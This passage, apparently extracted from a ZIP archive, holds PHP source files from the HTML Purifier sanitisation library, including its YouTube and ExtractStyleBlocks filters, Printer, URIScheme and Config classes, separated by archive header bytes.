if (array_keys($keys) === $keys) {
// list
$subst['$'.$i] = $this->listify($value);
} else {
// associative array
// no $i implementation yet, sorry
$subst['$'.$i.'.Keys'] = $this->listify($keys);
$subst['$'.$i.'.Values'] = $this->listify(array_values($value));
}
continue;
}
$subst['$' . $i] = $value;
}
return strtr($raw, $subst);
}
}
// vim: et sw=4 sts=4
PK j�$Z�5�* * 4 htmlpurifier/library/HTMLPurifier/Filter/YouTube.phpnu �[��� <?php
class HTMLPurifier_Filter_YouTube extends HTMLPurifier_Filter
{
/**
* @type string
*/
public $name = 'YouTube';
/**
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function preFilter($html, $config, $context)
{
$pre_regex = '#<object[^>]+>.+?' .
'(?:http:)?//www.youtube.com/((?:v|cp)/[A-Za-z0-9\-_=]+).+?</object>#s';
$pre_replace = '<span class="youtube-embed">\1</span>';
return preg_replace($pre_regex, $pre_replace, $html);
}
/**
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function postFilter($html, $config, $context)
{
$post_regex = '#<span class="youtube-embed">((?:v|cp)/[A-Za-z0-9\-_=]+)</span>#';
return preg_replace_callback($post_regex, array($this, 'postFilterCallback'), $html);
}
/**
* @param $url
* @return string
*/
protected function armorUrl($url)
{
return str_replace('--', '--', $url);
}
/**
* @param array $matches
* @return string
*/
protected function postFilterCallback($matches)
{
$url = $this->armorUrl($matches[1]);
return '<object width="425" height="350" type="application/x-shockwave-flash" ' .
'data="//www.youtube.com/' . $url . '">' .
'<param name="movie" value="//www.youtube.com/' . $url . '"></param>' .
'<!--[if IE]>' .
'<embed src="//www.youtube.com/' . $url . '"' .
'type="application/x-shockwave-flash"' .
'wmode="transparent" width="425" height="350" />' .
'<![endif]-->' .
'</object>';
}
}
// vim: et sw=4 sts=4
PK j�$Z�y$5 $5 ? htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.phpnu �[��� <?php
// why is this a top level function? Because PHP 5.2.0 doesn't seem to
// understand how to interpret this filter if it's a static method.
// It's all really silly, but if we go this route it might be reasonable
// to coalesce all of these methods into one.
function htmlpurifier_filter_extractstyleblocks_muteerrorhandler()
{
}
/**
* This filter extracts <style> blocks from input HTML, cleans them up
* using CSSTidy, and then places them in $purifier->context->get('StyleBlocks')
* so they can be used elsewhere in the document.
*
* @note
* See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for
* sample usage.
*
* @note
* This filter can also be used on stylesheets not included in the
* document--something purists would probably prefer. Just directly
* call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS()
*/
class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter
{
/**
* @type string
*/
public $name = 'ExtractStyleBlocks';
/**
* @type array
*/
private $_styleMatches = array();
/**
* @type csstidy
*/
private $_tidy;
/**
* @type HTMLPurifier_AttrDef_HTML_ID
*/
private $_id_attrdef;
/**
* @type HTMLPurifier_AttrDef_CSS_Ident
*/
private $_class_attrdef;
/**
* @type HTMLPurifier_AttrDef_Enum
*/
private $_enum_attrdef;
public function __construct()
{
$this->_tidy = new csstidy();
$this->_tidy->set_cfg('lowercase_s', false);
$this->_id_attrdef = new HTMLPurifier_AttrDef_HTML_ID(true);
$this->_class_attrdef = new HTMLPurifier_AttrDef_CSS_Ident();
$this->_enum_attrdef = new HTMLPurifier_AttrDef_Enum(
array(
'first-child',
'link',
'visited',
'active',
'hover',
'focus'
)
);
}
/**
* Save the contents of CSS blocks to style matches
* @param array $matches preg_replace style $matches array
*/
protected function styleCallback($matches)
{
$this->_styleMatches[] = $matches[1];
}
/**
* Removes inline <style> tags from HTML, saves them for later use
* @param string $html
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
* @todo Extend to indicate non-text/css style blocks
*/
public function preFilter($html, $config, $context)
{
$tidy = $config->get('Filter.ExtractStyleBlocks.TidyImpl');
if ($tidy !== null) {
$this->_tidy = $tidy;
}
// NB: this must be NON-greedy because if we have
// <style>foo</style> <style>bar</style>
// we must not grab foo</style> <style>bar
$html = preg_replace_callback('#<style(?:\s.*)?>(.*)<\/style>#isU', array($this, 'styleCallback'), $html);
$style_blocks = $this->_styleMatches;
$this->_styleMatches = array(); // reset
$context->register('StyleBlocks', $style_blocks); // $context must not be reused
if ($this->_tidy) {
foreach ($style_blocks as &$style) {
$style = $this->cleanCSS($style, $config, $context);
}
}
return $html;
}
/**
* Takes CSS (the stuff found in <style>) and cleans it.
* @warning Requires CSSTidy <http://csstidy.sourceforge.net/>
* @param string $css CSS styling to clean
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @throws HTMLPurifier_Exception
* @return string Cleaned CSS
*/
public function cleanCSS($css, $config, $context)
{
// prepare scope
$scope = $config->get('Filter.ExtractStyleBlocks.Scope');
if ($scope !== null) {
$scopes = array_map('trim', explode(',', $scope));
} else {
$scopes = array();
}
// remove comments from CSS
$css = trim($css);
if (strncmp('<!--', $css, 4) === 0) {
$css = substr($css, 4);
}
if (strlen($css) > 3 && substr($css, -3) == '-->') {
$css = substr($css, 0, -3);
}
$css = trim($css);
set_error_handler('htmlpurifier_filter_extractstyleblocks_muteerrorhandler');
$this->_tidy->parse($css);
restore_error_handler();
$css_definition = $config->getDefinition('CSS');
$html_definition = $config->getDefinition('HTML');
$new_css = array();
foreach ($this->_tidy->css as $k => $decls) {
// $decls are all CSS declarations inside an @ selector
$new_decls = array();
foreach ($decls as $selector => $style) {
$selector = trim($selector);
if ($selector === '') {
continue;
} // should not happen
// Parse the selector
// Here is the relevant part of the CSS grammar:
//
// ruleset
// : selector [ ',' S* selector ]* '{' ...
// selector
// : simple_selector [ combinator selector | S+ [ combinator? selector ]? ]?
// combinator
// : '+' S*
// : '>' S*
// simple_selector
// : element_name [ HASH | class | attrib | pseudo ]*
// | [ HASH | class | attrib | pseudo ]+
// element_name
// : IDENT | '*'
// ;
// class
// : '.' IDENT
// ;
// attrib
// : '[' S* IDENT S* [ [ '=' | INCLUDES | DASHMATCH ] S*
// [ IDENT | STRING ] S* ]? ']'
// ;
// pseudo
// : ':' [ IDENT | FUNCTION S* [IDENT S*]? ')' ]
// ;
//
// For reference, here are the relevant tokens:
//
// HASH #{name}
// IDENT {ident}
// INCLUDES ==
// DASHMATCH |=
// STRING {string}
// FUNCTION {ident}\(
//
// And the lexical scanner tokens
//
// name {nmchar}+
// nmchar [_a-z0-9-]|{nonascii}|{escape}
// nonascii [\240-\377]
// escape {unicode}|\\[^\r\n\f0-9a-f]
// unicode \\{h}}{1,6}(\r\n|[ \t\r\n\f])?
// ident -?{nmstart}{nmchar*}
// nmstart [_a-z]|{nonascii}|{escape}
// string {string1}|{string2}
// string1 \"([^\n\r\f\\"]|\\{nl}|{escape})*\"
// string2 \'([^\n\r\f\\"]|\\{nl}|{escape})*\'
//
// We'll implement a subset (in order to reduce attack
// surface); in particular:
//
// - No Unicode support
// - No escapes support
// - No string support (by proxy no attrib support)
// - element_name is matched against allowed
// elements (some people might find this
// annoying...)
// - Pseudo-elements one of :first-child, :link,
// :visited, :active, :hover, :focus
// handle ruleset
$selectors = array_map('trim', explode(',', $selector));
$new_selectors = array();
foreach ($selectors as $sel) {
// split on +, > and spaces
$basic_selectors = preg_split('/\s*([+> ])\s*/', $sel, -1, PREG_SPLIT_DELIM_CAPTURE);
// even indices are chunks, odd indices are
// delimiters
$nsel = null;
$delim = null; // guaranteed to be non-null after
// two loop iterations
for ($i = 0, $c = count($basic_selectors); $i < $c; $i++) {
$x = $basic_selectors[$i];
if ($i % 2) {
// delimiter
if ($x === ' ') {
$delim = ' ';
} else {
$delim = ' ' . $x . ' ';
}
} else {
// simple selector
$components = preg_split('/([#.:])/', $x, -1, PREG_SPLIT_DELIM_CAPTURE);
$sdelim = null;
$nx = null;
for ($j = 0, $cc = count($components); $j < $cc; $j++) {
$y = $components[$j];
if ($j === 0) {
if ($y === '*' || isset($html_definition->info[$y = strtolower($y)])) {
$nx = $y;
} else {
// $nx stays null; this matters
// if we don't manage to find
// any valid selector content,
// in which case we ignore the
// outer $delim
}
} elseif ($j % 2) {
// set delimiter
$sdelim = $y;
} else {
$attrdef = null;
if ($sdelim === '#') {
$attrdef = $this->_id_attrdef;
} elseif ($sdelim === '.') {
$attrdef = $this->_class_attrdef;
} elseif ($sdelim === ':') {
$attrdef = $this->_enum_attrdef;
} else {
throw new HTMLPurifier_Exception('broken invariant sdelim and preg_split');
}
$r = $attrdef->validate($y, $config, $context);
if ($r !== false) {
if ($r !== true) {
$y = $r;
}
if ($nx === null) {
$nx = '';
}
$nx .= $sdelim . $y;
}
}
}
if ($nx !== null) {
if ($nsel === null) {
$nsel = $nx;
} else {
$nsel .= $delim . $nx;
}
} else {
// delimiters to the left of invalid
// basic selector ignored
}
}
}
if ($nsel !== null) {
if (!empty($scopes)) {
foreach ($scopes as $s) {
$new_selectors[] = "$s $nsel";
}
} else {
$new_selectors[] = $nsel;
}
}
}
if (empty($new_selectors)) {
continue;
}
$selector = implode(', ', $new_selectors);
foreach ($style as $name => $value) {
if (!isset($css_definition->info[$name])) {
unset($style[$name]);
continue;
}
$def = $css_definition->info[$name];
$ret = $def->validate($value, $config, $context);
if ($ret === false) {
unset($style[$name]);
} else {
$style[$name] = $ret;
}
}
$new_decls[$selector] = $style;
}
$new_css[$k] = $new_decls;
}
// remove stuff that shouldn't be used, could be reenabled
// after security risks are analyzed
$this->_tidy->css = $new_css;
$this->_tidy->import = array();
$this->_tidy->charset = null;
$this->_tidy->namespace = null;
$css = $this->_tidy->print->plain();
// we are going to escape any special characters <>& to ensure
// that no funny business occurs (i.e. </style> in a font-family prop).
if ($config->get('Filter.ExtractStyleBlocks.Escaping')) {
$css = str_replace(
array('<', '>', '&'),
array('\3C ', '\3E ', '\26 '),
$css
);
}
return $css;
}
}
// vim: et sw=4 sts=4
PK j�$Z%�O - htmlpurifier/library/HTMLPurifier/Printer.phpnu �[��� <?php
// OUT OF DATE, NEEDS UPDATING!
// USE XMLWRITER!
class HTMLPurifier_Printer
{
/**
* For HTML generation convenience funcs.
* @type HTMLPurifier_Generator
*/
protected $generator;
/**
* For easy access.
* @type HTMLPurifier_Config
*/
protected $config;
/**
* Initialize $generator.
*/
public function __construct()
{
}
/**
* Give generator necessary configuration if possible
* @param HTMLPurifier_Config $config
*/
public function prepareGenerator($config)
{
$all = $config->getAll();
$context = new HTMLPurifier_Context();
$this->generator = new HTMLPurifier_Generator($config, $context);
}
/**
* Main function that renders object or aspect of that object
* @note Parameters vary depending on printer
*/
// function render() {}
/**
* Returns a start tag
* @param string $tag Tag name
* @param array $attr Attribute array
* @return string
*/
protected function start($tag, $attr = array())
{
return $this->generator->generateFromToken(
new HTMLPurifier_Token_Start($tag, $attr ? $attr : array())
);
}
/**
* Returns an end tag
* @param string $tag Tag name
* @return string
*/
protected function end($tag)
{
return $this->generator->generateFromToken(
new HTMLPurifier_Token_End($tag)
);
}
/**
* Prints a complete element with content inside
* @param string $tag Tag name
* @param string $contents Element contents
* @param array $attr Tag attributes
* @param bool $escape whether or not to escape contents
* @return string
*/
protected function element($tag, $contents, $attr = array(), $escape = true)
{
return $this->start($tag, $attr) .
($escape ? $this->escape($contents) : $contents) .
$this->end($tag);
}
/**
* @param string $tag
* @param array $attr
* @return string
*/
protected function elementEmpty($tag, $attr = array())
{
return $this->generator->generateFromToken(
new HTMLPurifier_Token_Empty($tag, $attr)
);
}
/**
* @param string $text
* @return string
*/
protected function text($text)
{
return $this->generator->generateFromToken(
new HTMLPurifier_Token_Text($text)
);
}
/**
* Prints a simple key/value row in a table.
* @param string $name Key
* @param mixed $value Value
* @return string
*/
protected function row($name, $value)
{
if (is_bool($value)) {
$value = $value ? 'On' : 'Off';
}
return
$this->start('tr') . "\n" .
$this->element('th', $name) . "\n" .
$this->element('td', $value) . "\n" .
$this->end('tr');
}
/**
* Escapes a string for HTML output.
* @param string $string String to escape
* @return string
*/
protected function escape($string)
{
$string = HTMLPurifier_Encoder::cleanUTF8($string);
$string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8');
return $string;
}
/**
* Takes a list of strings and turns them into a single list
* @param string[] $array List of strings
* @param bool $polite Bool whether or not to add an end before the last
* @return string
*/
protected function listify($array, $polite = false)
{
if (empty($array)) {
return 'None';
}
$ret = '';
$i = count($array);
foreach ($array as $value) {
$i--;
$ret .= $value;
if ($i > 0 && !($polite && $i == 1)) {
$ret .= ', ';
}
if ($polite && $i == 1) {
$ret .= 'and ';
}
}
return $ret;
}
/**
* Retrieves the class of an object without prefixes, as well as metadata
* @param object $obj Object to determine class of
* @param string $sec_prefix Further prefix to remove
* @return string
*/
protected function getClass($obj, $sec_prefix = '')
{
static $five = null;
if ($five === null) {
$five = version_compare(PHP_VERSION, '5', '>=');
}
$prefix = 'HTMLPurifier_' . $sec_prefix;
if (!$five) {
$prefix = strtolower($prefix);
}
$class = str_replace($prefix, '', get_class($obj));
$lclass = strtolower($class);
$class .= '(';
switch ($lclass) {
case 'enum':
$values = array();
foreach ($obj->valid_values as $value => $bool) {
$values[] = $value;
}
$class .= implode(', ', $values);
break;
case 'css_composite':
$values = array();
foreach ($obj->defs as $def) {
$values[] = $this->getClass($def, $sec_prefix);
}
$class .= implode(', ', $values);
break;
case 'css_multiple':
$class .= $this->getClass($obj->single, $sec_prefix) . ', ';
$class .= $obj->max;
break;
case 'css_denyelementdecorator':
$class .= $this->getClass($obj->def, $sec_prefix) . ', ';
$class .= $obj->element;
break;
case 'css_importantdecorator':
$class .= $this->getClass($obj->def, $sec_prefix);
if ($obj->allow) {
$class .= ', !important';
}
break;
}
$class .= ')';
return $class;
}
}
// vim: et sw=4 sts=4
PK j�$Z���
�
/ htmlpurifier/library/HTMLPurifier/URIScheme.phpnu �[��� <?php
/**
* Validator for the components of a URI for a specific scheme
*/
abstract class HTMLPurifier_URIScheme
{
/**
* Scheme's default port (integer). If an explicit port number is
* specified that coincides with the default port, it will be
* elided.
* @type int
*/
public $default_port = null;
/**
* Whether or not URIs of this scheme are locatable by a browser
* http and ftp are accessible, while mailto and news are not.
* @type bool
*/
public $browsable = false;
/**
* Whether or not data transmitted over this scheme is encrypted.
* https is secure, http is not.
* @type bool
*/
public $secure = false;
/**
* Whether or not the URI always uses <hier_part>, resolves edge cases
* with making relative URIs absolute
* @type bool
*/
public $hierarchical = false;
/**
* Whether or not the URI may omit a hostname when the scheme is
* explicitly specified, ala file:///path/to/file. As of writing,
* 'file' is the only scheme that browsers support his properly.
* @type bool
*/
public $may_omit_host = false;
/**
* Validates the components of a URI for a specific scheme.
* @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool success or failure
*/
abstract public function doValidate(&$uri, $config, $context);
/**
* Public interface for validating components of a URI. Performs a
* bunch of default actions. Don't overload this method.
* @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool success or failure
*/
public function validate(&$uri, $config, $context)
{
if ($this->default_port == $uri->port) {
$uri->port = null;
}
// kludge: browsers do funny things when the scheme but not the
// authority is set
if (!$this->may_omit_host &&
// if the scheme is present, a missing host is always in error
(!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) ||
// if the scheme is not present, a *blank* host is in error,
// since this translates into '///path' which most browsers
// interpret as being 'http://path'.
(is_null($uri->scheme) && $uri->host === '')
) {
do {
if (is_null($uri->scheme)) {
if (substr($uri->path, 0, 2) != '//') {
$uri->host = null;
break;
}
// URI is '////path', so we cannot nullify the
// host to preserve semantics. Try expanding the
// hostname instead (fall through)
}
// first see if we can manually insert a hostname
$host = $config->get('URI.Host');
if (!is_null($host)) {
$uri->host = $host;
} else {
// we can't do anything sensible, reject the URL.
return false;
}
} while (false);
}
return $this->doValidate($uri, $config, $context);
}
}
// vim: et sw=4 sts=4
PK j�$Z./� �{ �{ , htmlpurifier/library/HTMLPurifier/Config.phpnu �[��� <?php
/**
* Configuration object that triggers customizable behavior.
*
* @warning This class is strongly defined: that means that the class
* will fail if an undefined directive is retrieved or set.
*
* @note Many classes that could (although many times don't) use the
* configuration object make it a mandatory parameter. This is
* because a configuration object should always be forwarded,
* otherwise, you run the risk of missing a parameter and then
* being stumped when a configuration directive doesn't work.
*
* @todo Reconsider some of the public member variables
*/
class HTMLPurifier_Config
{
/**
* HTML Purifier's version
* @type string
*/
public $version = '4.12.0';
/**
* Whether or not to automatically finalize
* the object if a read operation is done.
* @type bool
*/
public $autoFinalize = true;
// protected member variables
/**
* Namespace indexed array of serials for specific namespaces.
* @see getSerial() for more info.
* @type string[]
*/
protected $serials = array();
/**
* Serial for entire configuration object.
* @type string
*/
protected $serial;
/**
* Parser for variables.
* @type HTMLPurifier_VarParser_Flexible
*/
protected $parser = null;
/**
* Reference HTMLPurifier_ConfigSchema for value checking.
* @type HTMLPurifier_ConfigSchema
* @note This is public for introspective purposes. Please don't
* abuse!
*/
public $def;
/**
* Indexed array of definitions.
* @type HTMLPurifier_Definition[]
*/
protected $definitions;
/**
* Whether or not config is finalized.
* @type bool
*/
protected $finalized = false;
/**
* Property list containing configuration directives.
* @type array
*/
protected $plist;
/**
* Whether or not a set is taking place due to an alias lookup.
* @type bool
*/
private $aliasMode;
/**
* Set to false if you do not want line and file numbers in errors.
* (useful when unit testing). This will also compress some errors
* and exceptions.
* @type bool
*/
public $chatty = true;
/**
* Current lock; only gets to this namespace are allowed.
* @type string
*/
private $lock;
/**
* Constructor
* @param HTMLPurifier_ConfigSchema $definition ConfigSchema that defines
* what directives are allowed.
* @param HTMLPurifier_PropertyList $parent
*/
public function __construct($definition, $parent = null)
{
$parent = $parent ? $parent : $definition->defaultPlist;
$this->plist = new HTMLPurifier_PropertyList($parent);
$this->def = $definition; // keep a copy around for checking
$this->parser = new HTMLPurifier_VarParser_Flexible();
}
/**
* Convenience constructor that creates a config object based on a mixed var
* @param mixed $config Variable that defines the state of the config
* object. Can be: a HTMLPurifier_Config() object,
* an array of directives based on loadArray(),
* or a string filename of an ini file.
* @param HTMLPurifier_ConfigSchema $schema Schema object
* @return HTMLPurifier_Config Configured object
*/
public static function create($config, $schema = null)
{
if ($config instanceof HTMLPurifier_Config) {
// pass-through
return $config;
}
if (!$schema) {
$ret = HTMLPurifier_Config::createDefault();
} else {
$ret = new HTMLPurifier_Config($schema);
}
if (is_string($config)) {
$ret->loadIni($config);
} elseif (is_array($config)) $ret->loadArray($config);
return $ret;
}
/**
* Creates a new config object that inherits from a previous one.
* @param HTMLPurifier_Config $config Configuration object to inherit from.
* @return HTMLPurifier_Config object with $config as its parent.
*/
public static function inherit(HTMLPurifier_Config $config)
{
return new HTMLPurifier_Config($config->def, $config->plist);
}
/**
* Convenience constructor that creates a default configuration object.
* @return HTMLPurifier_Config default object.
*/
public static function createDefault()
{
$definition = HTMLPurifier_ConfigSchema::instance();
$config = new HTMLPurifier_Config($definition);
return $config;
}
/**
* Retrieves a value from the configuration.
*
* @param string $key String key
* @param mixed $a
*
* @return mixed
*/
public function get($key, $a = null)
{
if ($a !== null) {
$this->triggerError(
"Using deprecated API: use \$config->get('$key.$a') instead",
E_USER_WARNING
);
$key = "$key.$a";
}
if (!$this->finalized) {
$this->autoFinalize();
}
if (!isset($this->def->info[$key])) {
// can't add % due to SimpleTest bug
$this->triggerError(
'Cannot retrieve value of undefined directive ' . htmlspecialchars($key),
E_USER_WARNING
);
return;
}
if (isset($this->def->info[$key]->isAlias)) {
$d = $this->def->info[$key];
$this->triggerError(
'Cannot get value from aliased directive, use real name ' . $d->key,
E_USER_ERROR
);
return;
}
if ($this->lock) {
list($ns) = explode('.', $key);
if ($ns !== $this->lock) {
$this->triggerError(
'Cannot get value of namespace ' . $ns . ' when lock for ' .
$this->lock .
' is active, this probably indicates a Definition setup method ' .
'is accessing directives that are not within its namespace',
E_USER_ERROR
);
return;
}
}
return $this->plist->get($key);
}
/**
* Retrieves an array of directives to values from a given namespace
*
* @param string $namespace String namespace
*
* @return array
*/
public function getBatch($namespace)
{
if (!$this->finalized) {
$this->autoFinalize();
}
$full = $this->getAll();
if (!isset($full[$namespace])) {
$this->triggerError(
'Cannot retrieve undefined namespace ' .
htmlspecialchars($namespace),
E_USER_WARNING
);
return;
}
return $full[$namespace];
}
/**
* Returns a SHA-1 signature of a segment of the configuration object
* that uniquely identifies that particular configuration
*
* @param string $namespace Namespace to get serial for
*
* @return string
* @note Revision is handled specially and is removed from the batch
* before processing!
*/
public function getBatchSerial($namespace)
{
if (empty($this->serials[$namespace])) {
$batch = $this->getBatch($namespace);
unset($batch['DefinitionRev']);
$this->serials[$namespace] = sha1(serialize($batch));
}
return $this->serials[$namespace];
}
/**
* Returns a SHA-1 signature for the entire configuration object
* that uniquely identifies that particular configuration
*
* @return string
*/
public function getSerial()
{
if (empty($this->serial)) {
$this->serial = sha1(serialize($this->getAll()));
}
return $this->serial;
}
/**
* Retrieves all directives, organized by namespace
*
* @warning This is a pretty inefficient function, avoid if you can
*/
public function getAll()
{
if (!$this->finalized) {
$this->autoFinalize();
}
$ret = array();
foreach ($this->plist->squash() as $name => $value) {
list($ns, $key) = explode('.', $name, 2);
$ret[$ns][$key] = $value;
}
return $ret;
}
/**
* Sets a value to configuration.
*
* @param string $key key
* @param mixed $value value
* @param mixed $a
*/
public function set($key, $value, $a = null)
{
if (strpos($key, '.') === false) {
$namespace = $key;
$directive = $value;
$value = $a;
$key = "$key.$directive";
$this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE);
} else {
list($namespace) = explode('.', $key);
}
if ($this->isFinalized('Cannot set directive after finalization')) {
return;
}
if (!isset($this->def->info[$key])) {
$this->triggerError(
'Cannot set undefined directive ' . htmlspecialchars($key) . ' to value',
E_USER_WARNING
);
return;
}
$def = $this->def->info[$key];
if (isset($def->isAlias)) {
if ($this->aliasMode) {
$this->triggerError(
'Double-aliases not allowed, please fix '.
'ConfigSchema bug with' . $key,
E_USER_ERROR
);
return;
}
$this->aliasMode = true;
$this->set($def->key, $value);
$this->aliasMode = false;
$this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE);
return;
}
// Raw type might be negative when using the fully optimized form
// of stdClass, which indicates allow_null == true
$rtype = is_int($def) ? $def : $def->type;
if ($rtype < 0) {
$type = -$rtype;
$allow_null = true;
} else {
$type = $rtype;
$allow_null = isset($def->allow_null);
}
try {
$value = $this->parser->parse($value, $type, $allow_null);
} catch (HTMLPurifier_VarParserException $e) {
$this->triggerError(
'Value for ' . $key . ' is of invalid type, should be ' .
HTMLPurifier_VarParser::getTypeName($type),
E_USER_WARNING
);
return;
}
if (is_string($value) && is_object($def)) {
// resolve value alias if defined
if (isset($def->aliases[$value])) {
$value = $def->aliases[$value];
}
// check to see if the value is allowed
if (isset($def->allowed) && !isset($def->allowed[$value])) {
$this->triggerError(
'Value not supported, valid values are: ' .
$this->_listify($def->allowed),
E_USER_WARNING
);
return;
}
}
$this->plist->set($key, $value);
// reset definitions if the directives they depend on changed
// this is a very costly process, so it's discouraged
// with finalization
if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') {
$this->definitions[$namespace] = null;
}
$this->serials[$namespace] = false;
}
/**
* Convenience function for error reporting
*
* @param array $lookup
*
* @return string
*/
private function _listify($lookup)
{
$list = array();
foreach ($lookup as $name => $b) {
$list[] = $name;
}
return implode(', ', $list);
}
/**
* Retrieves object reference to the HTML definition.
*
* @param bool $raw Return a copy that has not been setup yet. Must be
* called before it's been setup, otherwise won't work.
* @param bool $optimized If true, this method may return null, to
* indicate that a cached version of the modified
* definition object is available and no further edits
* are necessary. Consider using
* maybeGetRawHTMLDefinition, which is more explicitly
* named, instead.
*
* @return HTMLPurifier_HTMLDefinition
*/
public function getHTMLDefinition($raw = false, $optimized = false)
{
return $this->getDefinition('HTML', $raw, $optimized);
}
/**
* Retrieves object reference to the CSS definition
*
* @param bool $raw Return a copy that has not been setup yet. Must be
* called before it's been setup, otherwise won't work.
* @param bool $optimized If true, this method may return null, to
* indicate that a cached version of the modified
* definition object is available and no further edits
* are necessary. Consider using
* maybeGetRawCSSDefinition, which is more explicitly
* named, instead.
*
* @return HTMLPurifier_CSSDefinition
*/
public function getCSSDefinition($raw = false, $optimized = false)
{
return $this->getDefinition('CSS', $raw, $optimized);
}
/**
* Retrieves object reference to the URI definition
*
* @param bool $raw Return a copy that has not been setup yet. Must be
* called before it's been setup, otherwise won't work.
* @param bool $optimized If true, this method may return null, to
* indicate that a cached version of the modified
* definition object is available and no further edits
* are necessary. Consider using
* maybeGetRawURIDefinition, which is more explicitly
* named, instead.
*
* @return HTMLPurifier_URIDefinition
*/
public function getURIDefinition($raw = false, $optimized = false)
{
return $this->getDefinition('URI', $raw, $optimized);
}
/**
* Retrieves a definition
*
* @param string $type Type of definition: HTML, CSS, etc
* @param bool $raw Whether or not definition should be returned raw
* @param bool $optimized Only has an effect when $raw is true. Whether
* or not to return null if the result is already present in
* the cache. This is off by default for backwards
* compatibility reasons, but you need to do things this
* way in order to ensure that caching is done properly.
* Check out enduser-customize.html for more details.
* We probably won't ever change this default, as much as the
* maybe semantics is the "right thing to do."
*
* @throws HTMLPurifier_Exception
* @return HTMLPurifier_Definition
*/
public function getDefinition($type, $raw = false, $optimized = false)
{
if ($optimized && !$raw) {
throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false");
}
if (!$this->finalized) {
$this->autoFinalize();
}
// temporarily suspend locks, so we can handle recursive definition calls
$lock = $this->lock;
$this->lock = null;
$factory = HTMLPurifier_DefinitionCacheFactory::instance();
$cache = $factory->create($type, $this);
$this->lock = $lock;
if (!$raw) {
// full definition
// ---------------
// check if definition is in memory
if (!empty($this->definitions[$type])) {
$def = $this->definitions[$type];
// check if the definition is setup
if ($def->setup) {
return $def;
} else {
$def->setup($this);
if ($def->optimized) {
$cache->add($def, $this);
}
return $def;
}
}
// check if definition is in cache
$def = $cache->get($this);
if ($def) {
// definition in cache, save to memory and return it
$this->definitions[$type] = $def;
return $def;
}
// initialize it
$def = $this->initDefinition($type);
// set it up
$this->lock = $type;
$def->setup($this);
$this->lock = null;
// save in cache
$cache->add($def, $this);
// return it
return $def;
} else {
// raw definition
// --------------
// check preconditions
$def = null;
if ($optimized) {
if (is_null($this->get($type . '.DefinitionID'))) {
// fatally error out if definition ID not set
throw new HTMLPurifier_Exception(
"Cannot retrieve raw version without specifying %$type.DefinitionID"
);
}
}
if (!empty($this->definitions[$type])) {
$def = $this->definitions[$type];
if ($def->setup && !$optimized) {
$extra = $this->chatty ?
" (try moving this code block earlier in your initialization)" :
"";
throw new HTMLPurifier_Exception(
"Cannot retrieve raw definition after it has already been setup" .
$extra
);
}
if ($def->optimized === null) {
$extra = $this->chatty ? " (try flushing your cache)" : "";
throw new HTMLPurifier_Exception(
"Optimization status of definition is unknown" . $extra
);
}
if ($def->optimized !== $optimized) {
$msg = $optimized ? "optimized" : "unoptimized";
$extra = $this->chatty ?
" (this backtrace is for the first inconsistent call, which was for a $msg raw definition)"
: "";
throw new HTMLPurifier_Exception(
"Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra
);
}
}
// check if definition was in memory
if ($def) {
if ($def->setup) {
// invariant: $optimized === true (checked above)
return null;
} else {
return $def;
}
}
// if optimized, check if definition was in cache
// (because we do the memory check first, this formulation
// is prone to cache slamming, but I think
// guaranteeing that either /all/ of the raw
// setup code or /none/ of it is run is more important.)
if ($optimized) {
// This code path only gets run once; once we put
// something in $definitions (which is guaranteed by the
// trailing code), we always short-circuit above.
$def = $cache->get($this);
if ($def) {
// save the full definition for later, but don't
// return it yet
$this->definitions[$type] = $def;
return null;
}
}
// check invariants for creation
if (!$optimized) {
if (!is_null($this->get($type . '.DefinitionID'))) {
if ($this->chatty) {
$this->triggerError(
'Due to a documentation error in previous version of HTML Purifier, your ' .
'definitions are not being cached. If this is OK, you can remove the ' .
'%$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, ' .
'modify your code to use maybeGetRawDefinition, and test if the returned ' .
'value is null before making any edits (if it is null, that means that a ' .
'cached version is available, and no raw operations are necessary). See ' .
'<a href="http://htmlpurifier.org/docs/enduser-customize.html#optimized">' .
'Customize</a> for more details',
E_USER_WARNING
);
} else {
$this->triggerError(
"Useless DefinitionID declaration",
E_USER_WARNING
);
}
}
}
// initialize it
$def = $this->initDefinition($type);
$def->optimized = $optimized;
return $def;
}
throw new HTMLPurifier_Exception("The impossible happened!");
}
/**
* Initialise definition
*
* @param string $type What type of definition to create
*
* @return HTMLPurifier_CSSDefinition|HTMLPurifier_HTMLDefinition|HTMLPurifier_URIDefinition
* @throws HTMLPurifier_Exception
*/
private function initDefinition($type)
{
// quick checks failed, let's create the object
if ($type == 'HTML') {
$def = new HTMLPurifier_HTMLDefinition();
} elseif ($type == 'CSS') {
$def = new HTMLPurifier_CSSDefinition();
} elseif ($type == 'URI') {
$def = new HTMLPurifier_URIDefinition();
} else {
throw new HTMLPurifier_Exception(
"Definition of $type type not supported"
);
}
$this->definitions[$type] = $def;
return $def;
}
public function maybeGetRawDefinition($name)
{
return $this->getDefinition($name, true, true);
}
/**
* @return HTMLPurifier_HTMLDefinition
*/
public function maybeGetRawHTMLDefinition()
{
return $this->getDefinition('HTML', true, true);
}
/**
* @return HTMLPurifier_CSSDefinition
*/
public function maybeGetRawCSSDefinition()
{
return $this->getDefinition('CSS', true, true);
}
/**
* @return HTMLPurifier_URIDefinition
*/
public function maybeGetRawURIDefinition()
{
return $this->getDefinition('URI', true, true);
}
/**
* Loads configuration values from an array with the following structure:
* Namespace.Directive => Value
